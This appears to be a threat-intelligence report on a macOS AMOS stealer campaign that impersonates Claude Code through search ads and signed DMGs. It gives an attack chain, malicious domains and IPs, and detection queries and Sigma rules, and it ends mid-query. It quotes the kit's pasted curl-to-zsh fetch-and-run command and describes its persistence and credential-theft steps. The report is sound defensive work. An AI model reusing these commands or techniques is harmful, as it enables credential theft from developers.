What happened
Fake Claude Code ads steal developers' credentials
Mate Research is tracking an active malware campaign that steals credentials from developers’ Macs by impersonating Claude Code. One install from a fake page can give away an organization’s cloud access. The campaign has run since at least May 2026, behind Homebrew, Codex and ChatGPT lures as well as Claude, and was still launching new builds on 1 November.
The attackers buy Google ads that appear when someone searches for Claude Code, and the ad opens a fake copy of the install page. Its Copy button shows the real install command but puts a different one on the clipboard. Pasted into Terminal, it installs Atomic macOS Stealer (AMOS), which takes AWS, gcloud and Docker credentials, password-manager data and crypto wallets, along with a root backdoor that survives a reboot.
What Mate's hunting agent found
A second way in, with no paste needed
Mate's agentic hunting found a new delivery technique, Apple-signed installers that infect the Mac without the paste, and new infrastructure that no public report we checked describes. This report turns them into detections and indicators you can deploy.
Why blocklists miss it
The servers change with every build
In this campaign, the attackers set up a new server to deliver the malware for each new build, usually a day or two before they use it. A blocklist of known servers only stops builds that have already been seen, so a team that relies on one will usually miss the attack. Catching the malware by how it behaves once it runs works on builds no one has reported yet. The files change with every build, but the steps don't: every build we decoded since May sends the same request home, and the backdoor has used the same two system-service names since at least August.
What you can do
Detect the behavior, and check for existing infections
The detections in this report cover both delivery routes, and each is ready to run in CrowdStrike, Defender XDR, Cortex XDR, SentinelOne, Splunk, Elastic and Sigma. Some of them also show whether a Mac is already infected, even if the infection happened weeks ago. The backdoor restarts itself every five seconds, so an infected Mac keeps setting them off.
Key findings
One kit since May, still active, and 461 indicators published here first
This is the kit already reported as "PasteSwitch" and in the fake-Codex campaigns. It has run since at least May behind Homebrew, Codex, disk-cleaner and Claude lures, and in late October it turned up behind a fake ChatGPT page Discovered by Mate. Builds first seen as late as 1 November fetch the malware from 28 new servers, 26 of them registered no more than two days before use; the domains the malware reports back to are older, registered 18 to 37 days earlier. Every build we decoded reports each paste to /api/metrics/run?event=pasted, which makes that request the simplest thing to hunt for. Of the 708 indicators in this report, 461 appear in no public source we checked Discovered by Mate.
Attack chain
From search ad to persistent backdoor
The steps follow an infection that malware-traffic-analysis.net ran and published on 2 October, except 02b, the signed-DMG route, which joins the same chain at stage 1. Each step lists its main indicators.
Lure
Google ad, fake download page
A sponsored search result shown as uerp.com (an abused ERP site) redirects to a Claude look-alike. Both URLs carry the same Google Ads campaign ID. The page leads to a pasted command (02a); the kit also ships Apple-signed DMGs that skip the paste (02b).
Indicators
- Google Ads campaign 24303764142
Google ad · 2 Oct
Delivery A · Clipboard swap
What you copy is not what it shows
The install dialog shows the real installer command. What reaches Terminal is echo "Downloading Claude: …" && curl -s $(echo "<b64>" | openssl base64 -d -A) | zsh.
Indicators
- claude-desk-code[.]com
- echo "Downloading Claude: …"
Install dialog · 2 Oct
Delivery B · Signed DMG
No paste needed
claude-desktop.com serves Claude.dmg, signed with the Apple Developer ID “OSMAN ASTUR” (since revoked) and first seen on 14 September. A bundled script reads a note from jsDelivr that points to the same stage 1 on anchorpost13.com; in a sandbox run the DMG also sends the kit’s paste beacon, to onyxsable8.com. Three more signed DMGs (Antigravity, WPS Office, macOSRJ) join the same chain, through a jsDelivr note or a script they drop.
Indicators
- claude-desktop[.]com
- anchorpost13[.]com/curl/…
- onyxsable8[.]com
Claude.dmg site · 8 Oct
Stage 1
Decoy zsh loader
Hex blobs run through xxd, then openssl enc -d -aes-128-ctr, then gunzip. The key is the MD5 of a number the script computes (here md5("1728")). Every build we decoded from 8 May to 12 August wraps the same stage 2 in base64+gzip instead; one more such copy first reached VirusTotal on 12 September.
Indicators
- lake-90[.]com/curl/…/….json
- 28d369dc…ba30cf
Pasted command · 2 Oct
Stage 2
Beacon, fetch, run
POSTs /api/metrics/run?event=pasted in the background (no body, reply ignored), downloads the Mach-O to /tmp/.<random>, clears quarantine with xattr -c, then POSTs event=stager (builds since 18 September) and runs it. The two header values are fixed strings in the script, not host data.
Indicators
- loop-88[.]com
- lake-90[.]com/f/…/…
Decrypted stage 2 · 2 Oct
Stealer
AMOS-family infostealer
Prompts for the password, then collects wallets, Bitwarden and Telegram data, and developer credentials (AWS, gcloud, Docker, FileZilla, shell history). It POSTs them to /contact over plain HTTP, and reports each collection stage to /api/metrics/run on the same server: the same path and event scheme the paste beacon uses, with different hosts and token values.
Indicators
- 152.42.143[.]45
Password prompt · 2 Oct
Backdoor
Persistent modules
Two root LaunchDaemons with Apple-looking labels keep AccountsHelper and mdworker_shared running as the console user, in a 5-second loop. The C2 server issues the bot and feed IDs when the modules enroll; the config files store them. In October, VirusTotal URL records show bot IDs shared between 199.91.221.4 and two more servers, 165.232.95.242 and vcheropro.top.
Indicators
- 199.91.221[.]4
- 193.233.210[.]226
- delta-canvas[.]com
LaunchDaemon and loop · 2 Oct
Timeline
Activity since at least May, and when it became public
Operator activity is dated by first sighting in VirusTotal, by registration, or by certificate validity. A first sighting is a lower bound: the activity may be older than the oldest copy we found. Public reporting is dated by publication. Rows in amber announce a build, file or host that appears in no public source we checked.
- Operator
Oldest build we foundDISCOVERED BY MATE
Stage 1
8b6a4ad7…, a base64+gzip loader, beaconsdedelk.comand fetchesgreenactiv.com/jetbrains/update, a path without a builder token. Beacon values in builds up to June lack theAgprefix. This is the oldest copy our VirusTotal searches returned; earlier builds may exist. - Public reporting
A Claude Code lure already in May (malware-traffic-analysis.net)
A Google ad leads to a fake Claude Code page whose
echo "Downloading Claude: …"one-liner fetches stage 1 fromsuzke.com/curl/<64 hex>. The traffic reachessuzke.comand the beacondedelk.com, both in our decodes of builds first seen 8 to 12 May, so this is the same kit. The backdoor polls atv=1.4. - Public reporting
Fake Homebrew infection (malware-traffic-analysis.net)
Our decode of its stage 1 shows the paste beacon
chiselvibe.comand the builder token2kqYRM0D…. The backdoor polls atv=2.0, and its LaunchDaemon starts an osascript loop. - Public reporting
pcapai documents the C2 protocol
From the 9 June capture: stage beacons,
/contact, and backdoor/api/joinand/api/tasksatv=2.0. - Public reporting
Zscaler: “ClaudeFix”
Describes a base64+gzip zsh loader for MacSync (another macOS stealer sold as a service) with a different stage 2 and lists 53 hosts that we tie to this kit, as MacSync hosting.
- Public reporting
SANS ISC diary 33208
A “macOS toolkit” lure (infection 31 July). First public
/api/feed/registerand second backdoor module, tasking atv=2.1. We decoded its stage 1: builder token, beacongrove-89.com. - Operator
First AES-encrypted stage 1 seen
Earliest AES copy in VirusTotal, from the fake OpenAI Codex campaign that Deriv and Cato later analysed. Every earlier build we decoded used base64+gzip; Cato described the switch on 24 August. A base64+gzip copy first reached VirusTotal on 12 September, but its payload host dates from June, so whether the older wrapper stopped is not determined.
- Operator
A stager variant uses a separate key per chunk
install.command(b70cffe1…) derives a new AES key for each hex block from the computed number, the block index and a suffix it leaves undefined. We recovered the suffix by exhaustive search and decrypted it: beaconstride40.com, builder token2kqYRM0D…. A 27 August copy exports its suffix. Fifteen more such copies follow, first seen 20 August to 14 September, and two more on 7 and 22 October. - Public reporting
Deriv: fake OpenAI Codex
Documents the stager template, the paste beacon and both LaunchDaemon labels.
- Operator
Apple-signed DMGs start: Antigravity.dmgDISCOVERED BY MATE
Signed by Developer ID “OSMAN ASTUR”, its helper script fetches a note from a jsDelivr-hosted GitHub repository that leads to
maple30.com; in the sandbox it posts the kit’s paste beacon.Claude.dmg(14 Sep, served fromclaude-desktop.com, same identity) andWPS Office.dmg(20 Sep, “Mehmet Denizli”) follow. Antigravity.dmg’s sandbox beacon goes toterpster.com, the beacon in our decode of a build taggedantigravity(8de15cd4…, builder tokenjY1YcS4Z…, first seen 12 August). - Public reporting
AppCleanMac lure (malware-traffic-analysis.net)
We decrypted its AES stage 1: beacon
node-slate.com, a second builder tokenzyeMb6sl…. Tasking atv=2.2. The back-end returned the same bot ID it returned again on 2 October, and its files carry the same feed ID. - Public reporting
ADAMnetworks / Hudson Rock: “PasteSwitch”
Maps the kit’s delivery groups and their domains.
- Public reporting
Unit 42
A “macOS toolkit” page on getmacouscloud.com (infection 5 August); same beacon and module directories.
- Operator
Second beacon:
event=stagerStage 2 now reports again just before it runs the payload (listed on ThreatFox the same day). Backdoor C2
199.91.221.4is first seen. - Operator
Fourth signing certificate becomes valid
The “Batuhan Korkmaz” certificate later used on
macOSRJ.dmgbecomes valid; the other three date from 13 August, 8 September and 18 September. The same day,193.233.210.226is first seen in VirusTotal serving/api/feed/items(a host in the original post). - Operator
Payload path changes to
/f/<22>/<8>Replaces the builder-token path in every later build we decoded; a copy first seen on 14 October reuses the hosts of a 1 September build.
- Operator
Infrastructure of the 2 October infection registered
loop-88.com(25 Sep),lake-90.com(26 Sep),claude-desk-code.com(28 Sep). - Operator
First build reporting to the exfil server
First of 42 stealer builds in VirusTotal that report to
152.42.143.45. - Public reporting
The Claude Code infection: an ad delivers AMOS (malware-traffic-analysis.net)
Google ad for Claude Code at 22:25 UTC; the backdoor polls at
v=3.0. - Operator
A third signing identity: macOSRJ.dmgDISCOVERED BY MATE
macOSRJ.dmgfrommacosrj-us.com(first seen), signed by Developer ID “Batuhan Korkmaz”, drops a# MEW_WHISKscript whose one-liner points atlake-90.com, and beacons toloop-88.com. - Operator
Still active: three new buildsDISCOVERED BY MATE
5c3ef605…anda8406a1f…(6 Oct) and1b34d6c9…(7 Oct) beaconcedar-55.comand pull payloads fromlens80.com,framecopper10.comandshelter-copper.com, registered 2 to 6 October. A paste command first seen on 5 October fetches stage 1 fromlens80.com/curl/…. - Operator
Backdoor bots reach two more serversDISCOVERED BY MATE
VirusTotal URL records show the backdoor’s sync, enrolment and tasking paths on
165.232.95.242from 8 October and on the Cloudflare-frontedvcheropro.topfrom 13 October, each sharing a bot ID with199.91.221.4. - Operator
A new beacon domain every few daysDISCOVERED BY MATE
Builds first seen 11 to 18 October beacon
willow-62.com,raster-87.com,trekkernel4.comandnova-49.com, registered 17 to 26 September. Each build pulls its payload from a host registered at most two days earlier. - Operator
Payload hosts come back as beacons
lyricblaze9.com, a payload host in earlier builds, is the beacon domain in builds of 14 and 16 October;plume-compass.comfollows on 21 and 22 October. A host’s role can change between builds. - Operator
A fake ChatGPT pageDISCOVERED BY MATE
Two pages titled “ChatGPT, now free for everyone” on
promotion-chatgpt.com(its URLs reach VirusTotal from 18 October), re-skinned from Claude’s Cowork page, carry the kit’s paste command. It fetches stage 1 fromweb-stat-2685.com/curl/<64 hex>, the older path form, in use alongside the newer one since May. - Operator
Still active: stratos30.comDISCOVERED BY MATE
Nine builds first seen 23 to 27 October beacon
stratos30.com, registered 26 September, and pull payloads from seven hosts registered 22 to 25 October;nest-52.comandgarden-82.comalso serve stage 1. - Operator
Still active: lift50.comDISCOVERED BY MATE
Six builds first seen 28 to 30 October beacon
lift50.com, registered 25 September, and pull payloads fromsail91.com,bloom-88.comandballadquartz.com, each registered a day before its first build. A build of 1 November moves tolinen96.comandanvil30.com.
Relationships
How the pieces connect
Line style shows the strength of the evidence for each link. Solid links rest on bytes we decoded or exact values that match; dashed links on VirusTotal sandbox or relationship data. A crossed line marks where we looked for the next hop and found none.
- Decoded or exact match
- VirusTotal sandbox or relationship
- No link found
- Same scheme, no shared host
- Discovered by Mate
Swipe sideways to see the whole map.
Detect & hunt
Detections and hunts
Eight detections to alert on and three hunts to run periodically, each written for CrowdStrike, Defender XDR, Cortex XDR, SentinelOne, Splunk and Elastic, and as Sigma rules for any other SIEM. Each card has its rule in the Sigma tab; all of them together are below. Within each group they are ordered by how long their anchor has held, from the paste beacon, unchanged in every build we decoded, to infrastructure that rotates within days. Queries look back 7 days; widen the window as retention allows. Rotating domains are the least durable signal here. The paste beacon and the fetch-and-run sequence held in every build we decoded, from 2026-05-08 to 2026-11-01, and the two LaunchDaemon labels match in every published infection that shows them (10 September and 2 October).
Sigma Rules11 rules · YAML
Detect: alert on these
8 detectionscurl POSTing to the kit’s /api/metrics/run?event= beacon
Every stage 2 backgrounds a curl POST to /api/metrics/run?event=pasted (and event=stager since 18 September). The path is decoded before exec, so curl’s command line carries it in clear; the beacon has not changed in any build we decoded.
Unchanged in every build decoded, from the oldest copy (first seen in VirusTotal on 8 May 2026) to 1 November: 177 stage-1 copies across both loader generations (108 AES-CTR, 69 base64+gzip), and the signed-DMG droppers in sandbox. Event names grew (pasted, then stager from 18 September); the path did not move. Header values gained the Ag prefix in July, which this query does not depend on.
Process events with full argv for curl. The beacon is backgrounded with stdout/stderr to /dev/null, so it is a short-lived child – sensors that sample short-lived processes may miss it.
#event_simpleName=ProcessRollup2 event_platform=Mac | ImageFileName=/\/curl$/ | CommandLine=/\/api\/metrics\/run\?event=/ | table([@timestamp, ComputerName, ParentBaseFileName, CommandLine]) | head(200)
DeviceProcessEvents | where Timestamp > ago(7d) | where FileName =~ "curl" | where ProcessCommandLine contains "/api/metrics/run?event=" | project Timestamp, DeviceName, InitiatingProcessFileName, ProcessCommandLine | take 200
config timeframe = 7d
| dataset = xdr_data
| filter agent_os_type = ENUM.AGENT_OS_MAC
and event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
| filter action_process_image_name = "curl"
and action_process_image_command_line contains "/api/metrics/run?event="
| fields _time, agent_hostname, actor_process_image_name, action_process_image_command_line
| limit 200endpoint.os = "osx" event.type = "Process Creation" tgt.process.name = "curl" tgt.process.cmdline contains "/api/metrics/run?event=" | group n = count(), hosts = estimate_distinct(agent.uuid) by src.process.name | sort -n | limit 50
| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Processes
where earliest=-7d Processes.process_name="curl" Processes.process="*/api/metrics/run?event=*"
by Processes.dest Processes.parent_process_name Processes.process
| rename "Processes.*" as *
| head 200FROM logs-endpoint.events.process-*
| WHERE host.os.type == "macos"
AND process.name == "curl"
AND process.command_line LIKE "*/api/metrics/run?event=*"
| KEEP @timestamp, host.name, process.parent.name, process.command_line
| LIMIT 200title: Curl POSTing to the AMOS Kit's /api/metrics/run Paste Beacon
id: 3da61a9e-19fc-4c31-a937-89535edb4a22
status: experimental
description: |
Detects curl reporting to /api/metrics/run?event=, the beacon every stage 2 of the AMOS kit behind
fake Claude Code ads sends after the paste (event=pasted, and event=stager since 18 September 2026).
The path is decoded before exec, so curl's command line carries it in clear.
references:
- https://www.malware-traffic-analysis.net/2026/10/02/index.html
author: Mate Security
date: 2026-10-08
tags:
- attack.command-and-control
- attack.t1071.001
- attack.execution
- attack.t1059.004
- detection.emerging-threats
logsource:
product: macos
category: process_creation
detection:
selection:
Image|endswith: '/curl'
CommandLine|contains: '/api/metrics/run\?event='
condition: selection
falsepositives:
- Unknown
level: highSee: Attack chain · Timeline
com.apple.* LaunchDaemon written to, or loaded from, /Library/LaunchDaemons
The backdoor installs root LaunchDaemons with Apple labels (com.apple.accountsd.helper, com.apple.metadata.mds.worker) in /Library/LaunchDaemons, where Apple’s own daemons never live. Writes by Apple-signed system components are excluded.
Both labels in malware-traffic-analysis.net’s 10 September and 2 October infections (backdoor protocol 2.2 and 3.0) and in Deriv’s 28 August write-up.
macOS file-event telemetry for /Library/LaunchDaemons, or process events for launchctl. Root is required to write there, so this is post-password-prompt.
event_platform=Mac
| in(field="#event_simpleName", values=[AsepFileChangeDetectInfo, AsepFileChangeScanInfo, ProcessRollup2])
| TargetFileName=/^\/Library\/LaunchDaemons\/com\.apple\.[^\/]+\.plist$/
or (ASEPFilePath=/^\/Library\/LaunchDaemons\/com\.apple\.[^\/]+\.plist$/
and ImageFileName!=/^\/(System|usr\/libexec)\//)
or (#event_simpleName=ProcessRollup2 and ImageFileName=/\/launchctl$/
and CommandLine=/(^|[\s"'=])\/Library\/LaunchDaemons\/com\.apple\.[^\s\/]+\.plist/)
| table([@timestamp, ComputerName, #event_simpleName, TargetFileName, ASEPFilePath, ImageFileName, CommandLine])
| head(200)union
(DeviceEvents
| where Timestamp > ago(7d)
| where ActionType == "PlistPropertyModified"
| where FolderPath =~ "/Library/LaunchDaemons/"
| where FileName startswith "com.apple."
| project Timestamp, DeviceName, Detail = strcat(FolderPath, FileName), Actor = InitiatingProcessFileName),
(DeviceFileEvents
| where Timestamp > ago(7d)
| where ActionType in ("FileCreated", "FileModified", "FileRenamed")
| where FolderPath matches regex @"^/Library/LaunchDaemons/com\.apple\.[^/]+\.plist$"
| project Timestamp, DeviceName, Detail = FolderPath, Actor = InitiatingProcessFileName),
(DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "launchctl"
| where ProcessCommandLine contains "/Library/LaunchDaemons/com.apple."
| where ProcessCommandLine matches regex @"(^|[\s""'=])/Library/LaunchDaemons/com\.apple\.[^\s/]+\.plist"
| project Timestamp, DeviceName, Detail = ProcessCommandLine, Actor = InitiatingProcessFileName)
| take 200config timeframe = 7d
| dataset = xdr_data
| filter agent_os_type = ENUM.AGENT_OS_MAC
| filter (event_type = ENUM.FILE and event_sub_type in (ENUM.FILE_CREATE_NEW, ENUM.FILE_WRITE, ENUM.FILE_RENAME)
and action_file_path contains "/Library/LaunchDaemons/com.apple."
and action_file_path ~= "^/Library/LaunchDaemons/com\.apple\.[^/]+\.plist$"
and (actor_process_signature_status = null
or actor_process_signature_status != ENUM.SIGNED
or actor_process_signature_vendor = null
or actor_process_signature_vendor not in ("Software Signing", "macOS Software Signing")
or actor_process_image_path ~= "^/(bin|sbin|usr/bin|usr/sbin)/"))
or (event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
and action_process_image_name = "launchctl"
and action_process_image_command_line ~= "(^|\s)/Library/LaunchDaemons/com\.apple\.[^\s/]+\.plist"
and (actor_process_signature_status = null
or actor_process_signature_status != ENUM.SIGNED
or actor_process_signature_vendor = null
or actor_process_signature_vendor not in ("Software Signing", "macOS Software Signing")
or actor_process_image_path ~= "^/(bin|sbin|usr/bin|usr/sbin)/"))
| comp count() as n, count_distinct(agent_id) as hosts by event_type, event_sub_type, actor_process_image_path, actor_process_signature_vendor
| sort desc n
| limit 100endpoint.os = "osx" ((event.type in ("File Creation", "File Modification", "File Rename") tgt.file.path matches "^/Library/LaunchDaemons/com\\.apple\\.[^/]+\\.plist$") or (event.type = "Process Creation" tgt.process.name = "launchctl" tgt.process.cmdline matches "(^|\\s)/Library/LaunchDaemons/com\\.apple\\.[^/ ]+\\.plist"))
| group n = count(), hosts = estimate_distinct(agent.uuid) by event.type, src.process.name
| sort -n
| limit 50| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Filesystem
where earliest=-7d Filesystem.file_path="/Library/LaunchDaemons/com.apple.*"
Filesystem.action IN ("created", "modified")
by Filesystem.dest Filesystem.file_path
| rename "Filesystem.*" as *
| where match(file_path, "^/Library/LaunchDaemons/com\\.apple\\.[^/]+\\.plist$")
| eval branch="file"
| append
[| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Processes
where earliest=-7d Processes.process_name="launchctl"
Processes.process="*/Library/LaunchDaemons/com.apple.*"
by Processes.dest Processes.process
| rename "Processes.*" as *
| where match(process, "(^|[\\s\"'=])/Library/LaunchDaemons/com\\.apple\\.[^\\s/]+\\.plist")
| eval branch="launchctl"]
| head 200FROM logs-endpoint.events.*
| WHERE host.os.type == "macos"
AND (file.path RLIKE "/Library/LaunchDaemons/com\\.apple\\.[^/]+\\.plist"
OR (process.name == "launchctl" AND process.command_line LIKE "*/Library/LaunchDaemons/com.apple.*"))
| KEEP @timestamp, host.name, event.category, file.path, process.command_line
| LIMIT 200title: Apple-Labelled LaunchDaemon Written to /Library/LaunchDaemons
id: 0e33e896-57db-483f-9815-e83feb99e172
related:
- id: 9487655e-438c-46c0-b57c-f8d62155709a
type: similar
status: experimental
description: |
Detects a com.apple.* property list written to /Library/LaunchDaemons. Apple's own daemons live in
/System/Library/LaunchDaemons; the AMOS kit's backdoor installs com.apple.accountsd.helper and
com.apple.metadata.mds.worker here.
references:
- https://www.malware-traffic-analysis.net/2026/10/02/index.html
author: Mate Security
date: 2026-10-08
tags:
- attack.persistence
- attack.t1543.004
- attack.stealth
- attack.t1036.005
logsource:
product: macos
category: file_event
detection:
selection:
TargetFilename|startswith: '/Library/LaunchDaemons/com.apple.'
TargetFilename|endswith: '.plist'
filter_main_apple:
Image|startswith:
- '/System/Library/'
- '/usr/libexec/'
condition: selection and not filter_main_apple
falsepositives:
- Legacy Apple or third-party installers that place com.apple-named daemons in /Library
level: high
---
title: Launchctl Loading an Apple-Labelled Daemon from /Library/LaunchDaemons
id: 9487655e-438c-46c0-b57c-f8d62155709a
related:
- id: 0e33e896-57db-483f-9815-e83feb99e172
type: similar
status: experimental
description: |
Detects launchctl loading a com.apple.* property list from /Library/LaunchDaemons rather than
/System/Library/LaunchDaemons, as the AMOS kit's backdoor does for its persistence modules.
references:
- https://www.malware-traffic-analysis.net/2026/10/02/index.html
author: Mate Security
date: 2026-10-08
tags:
- attack.persistence
- attack.t1543.004
- attack.stealth
- attack.t1036.005
logsource:
product: macos
category: process_creation
detection:
selection:
Image|endswith: '/launchctl'
CommandLine|re: '(^|[\s"''=])/Library/LaunchDaemons/com\.apple\.[^\s/]+\.plist'
condition: selection
falsepositives:
- Legacy Apple or third-party installers that place com.apple-named daemons in /Library
level: highSee: Attack chain
Process running from a hidden .com.apple.* folder in a user’s Application Support
The LaunchDaemons start the backdoor modules from hidden ~/Library/Application Support/.com.apple.*/ folders, where Apple keeps no executables. The query takes the process image or the command line that launches it.
Both folder names in the published infections of 31 July (SANS), 5 August (Unit 42), 10 September and 2 October, and in Deriv’s 28 August write-up; the 9 June infection shows .com.apple.accountsd only. The June build looped in osascript, the September and October builds in bash; both launch the module from these folders.
Process events with the image path or the command line. The modules loop every five seconds, so an infected host produces these events continuously – a short window is enough.
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/\/Library\/Application Support\/\.com\.apple\.[^\/]+\//
or CommandLine=/\/Library\/Application Support\/\.com\.apple\.[^\/]+\//
| table([@timestamp, ComputerName, ImageFileName, ParentBaseFileName, CommandLine])
| head(200)DeviceProcessEvents
| where Timestamp > ago(7d)
| where FolderPath contains "/Library/Application Support/.com.apple."
or ProcessCommandLine contains "/Library/Application Support/.com.apple."
| project Timestamp, DeviceName, FolderPath, InitiatingProcessFileName, ProcessCommandLine
| take 200config timeframe = 7d
| dataset = xdr_data
| filter agent_os_type = ENUM.AGENT_OS_MAC
and event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
| filter action_process_image_path contains "/Library/Application Support/.com.apple."
or action_process_image_command_line contains "/Library/Application Support/.com.apple."
| fields _time, agent_hostname, action_process_image_path, actor_process_image_name, action_process_image_command_line
| limit 200endpoint.os = "osx" event.type = "Process Creation" (tgt.process.image.path contains "/Library/Application Support/.com.apple." or tgt.process.cmdline contains "/Library/Application Support/.com.apple.") | group n = count(), hosts = estimate_distinct(agent.uuid) by src.process.name | sort -n | limit 50
| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Processes
where earliest=-7d (Processes.process_path="*/Library/Application Support/.com.apple.*"
OR Processes.process="*/Library/Application Support/.com.apple.*")
by Processes.dest Processes.parent_process_name Processes.process_path Processes.process
| rename "Processes.*" as *
| head 200FROM logs-endpoint.events.process-*
| WHERE host.os.type == "macos"
AND (process.executable LIKE "*/Library/Application Support/.com.apple.*"
OR process.command_line LIKE "*/Library/Application Support/.com.apple.*")
| KEEP @timestamp, host.name, process.executable, process.parent.name, process.command_line
| LIMIT 200title: Process Running from a Hidden .com.apple Folder in Application Support
id: 1f91fb55-f8d0-4bfe-929b-a111ccdff39e
status: experimental
description: |
Detects a process started from, or a command line launching, a hidden
~/Library/Application Support/.com.apple.*/ folder, where Apple keeps no executables. The AMOS kit's
LaunchDaemons start the backdoor modules from there.
references:
- https://www.malware-traffic-analysis.net/2026/10/02/index.html
author: Mate Security
date: 2026-10-08
tags:
- attack.stealth
- attack.t1036.005
- attack.t1564.001
- attack.persistence
- attack.t1543.004
logsource:
product: macos
category: process_creation
detection:
selection_image:
Image|contains: '/Library/Application Support/.com.apple.'
selection_cli:
CommandLine|contains: '/Library/Application Support/.com.apple.'
condition: 1 of selection_*
falsepositives:
- Unknown
level: highSee: Attack chain
openssl base64 -d -A in a command substitution under an interactive shell
The pasted line decodes its stage-1 URL with openssl base64 -d -A inside a command substitution of the user’s interactive shell. Decoding a URL with openssl rather than base64 -D is the builder’s habit and rare in legitimate scripts.
Same pasted shape since at least 11 May (malware-traffic-analysis.net’s 11 May post: a fake Claude Code page whose paste fetches suzke.com/curl/<64 hex>) and in every published infection tied to the kit with a Terminal screenshot since: 9 June (fake Homebrew), 31 July (macOS toolkit), 10 September (disk cleaner) and 2 October (Claude Code). The decoy echo prefix varies by storefront and is not matched.
Process events with argv for openssl and the parent’s name and command line.
#event_simpleName=ProcessRollup2 event_platform=Mac | ImageFileName=/\/openssl$/ | CommandLine=/base64\s+-d\s+-A/ | CommandLine!=/\s-(in|out)\s/ | ParentBaseFileName=/^(zsh|bash|sh)$/ | table([@timestamp, ComputerName, ParentBaseFileName, CommandLine]) | head(200)
DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName =~ "openssl"
| where ProcessCommandLine matches regex @"base64\s+-d\s+-A"
| where InitiatingProcessFileName in~ ("zsh", "bash", "sh")
| where isempty(InitiatingProcessCommandLine)
or InitiatingProcessCommandLine matches regex @"^-?(\S*/)?(zsh|bash|sh)(\s+(-[il]{1,2}|--login))*\s*$"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessCommandLine, ProcessCommandLine
| take 200config timeframe = 7d
| dataset = xdr_data
| filter agent_os_type = ENUM.AGENT_OS_MAC
and event_type = ENUM.PROCESS and event_sub_type = ENUM.PROCESS_START
| filter action_process_image_name = "openssl"
and action_process_image_command_line ~= "base64\s+-d\s+-A"
and actor_process_image_name in ("zsh", "bash", "sh")
| filter action_process_image_command_line !~= "\s-(in|out)\s"
| filter actor_process_command_line ~= "^-?(\S*/)?(zsh|bash|sh)(\s+(-[il]{1,2}|--login))*\s*$"
| comp count() as n, count_distinct(agent_id) as hosts by actor_process_image_name, causality_actor_process_image_name
| limit 50endpoint.os = "osx" event.type = "Process Creation" tgt.process.name = "openssl" tgt.process.cmdline matches "base64\\s+-d\\s+-A" src.process.name in ("zsh", "bash", "sh") !(tgt.process.cmdline contains " -in ") !(tgt.process.cmdline contains " -out ") src.process.cmdline matches "^-?(\\S*/)?(zsh|bash|sh)(\\s+(-[il]{1,2}|--login))*\\s*$"
| group n = count(), hosts = estimate_distinct(agent.uuid) by src.process.name
| sort -n
| limit 50| tstats summariesonly=false allow_old_summaries=true count min(_time) as first_seen max(_time) as last_seen
from datamodel=Endpoint.Processes
where earliest=-7d Processes.process_name="openssl" Processes.process="*base64*"
Processes.parent_process_name IN ("zsh", "bash", "sh")
by Processes.dest Processes.parent_process Processes.process
| rename "Processes.*" as *
| where match(process, "base64\\s+-d\\s+-A") AND NOT match(process, "\\s-(in|out)\\s")
AND match(parent_process, "^-?(\\S*/)?(zsh|bash|sh)(\\s+(-[il]{1,2}|--login))*\\s*$")
| head 200FROM logs-endpoint.events.process-*
| WHERE host.os.type == "macos"
AND process.name == "openssl"
AND process.command_line RLIKE ".*base64[ ]+-d[ ]+-A.*"
AND process.parent.name IN ("zsh", "bash", "sh")
| KEEP @timestamp, host.name, process.parent.name, process.command_line
| LIMIT 200title: Openssl Base64 Decode Under an Interactive Shell
id: a8d91c34-98c1-41bc-b315-7632cb8cfe78
status: experimental
description: |
Detects openssl base64 -d -A run directly by an interactive zsh, bash or sh, as when a user pastes a
ClickFix-style command. The AMOS kit's pasted line decodes its stage-1 URL this way inside a command
substitution.
references:
- https://www.malware-traffic-analysis.net/2026/10/02/index.html
author: Mate Security
date: 2026-10-08
tags:
- attack.execution
- attack.t1204.004
- attack.t1059.004
- attack.stealth
- attack.t1140
logsource:
product: macos
category: process_creation
detection:
selection:
Image|endswith: '/openssl'
CommandLine|re: 'base64\s+-d\s+-A'
ParentImage|endswith:
- '/zsh'
- '/bash'
- '/sh'
selection_interactive_parent:
- ParentCommandLine|re: '^-?(\S*/)?(zsh|bash|sh)(\s+(-[il]{1,2}|--login))*\s*$'
- ParentCommandLine: null
- ParentCommandLine: ''
condition: all of selection*
falsepositives:
- Administrators decoding base64 by hand in Terminal
level: highSee: Attack chain · Timeline
Signed-app dropper piping base64 -D or a jsDelivr note into zsh
The Apple-signed DMGs run a dropped script with zsh that decodes a stage-1 URL (base64 -D or openssl base64 -d -A) and pipes the download into zsh, or fetch a jsDelivr-hosted autoupd.note into ~/Library/Caches/DayNote/. Gatekeeper passes the signed app, so this shell is the first observable step.
Four DMGs from 2026-09-04 to 2026-10-04 (Antigravity, Claude, WPS Office, macOSRJ) under three identities; markers seen so far MEW_WHISK and NOCK_SHIFT. Young: one month of observation.
Process events with the full command line of sh/zsh/bash invoked by the app.
#event_simpleName=ProcessRollup2 event_platform=Mac
| ImageFileName=/\/(zsh|bash|sh)$/
| CommandLine=/base64\s+-D\s*\|\s*(\/bin\/)?zsh/
or CommandLine=/\/Library\/Caches\/DayNote\//
or CommandLine=/cdn\.jsdelivr\.net\/gh\/[^\/\s]+\/[^\/\s]+@main\/autoupd\.note/
| table([@timestamp, ComputerName, ParentBaseFileName, CommandLine])
| head(200)DeviceProcessEvents
| where Timestamp > ago(7d)
| where FileName in~ ("zsh", "bash", "sh")
| where ProcessCommandLine matches regex @"base64\s+-D\s*\|\s*(/bin/)?zsh"
or ProcessCommandLine contains "/Library/Caches/DayNote/"
or ProcessCommandLine matches regex @"cdn\.jsdelivr\.net/gh/[^/\s]+/[^/\s]+@main/autoupd\.note"
| project Timestamp, DeviceName, InitiatingProcessFileName, InitiatingProcessFolderPath, ProcessCommandLine
| take 200config timeframe = 7d
| dataset = xdr_data
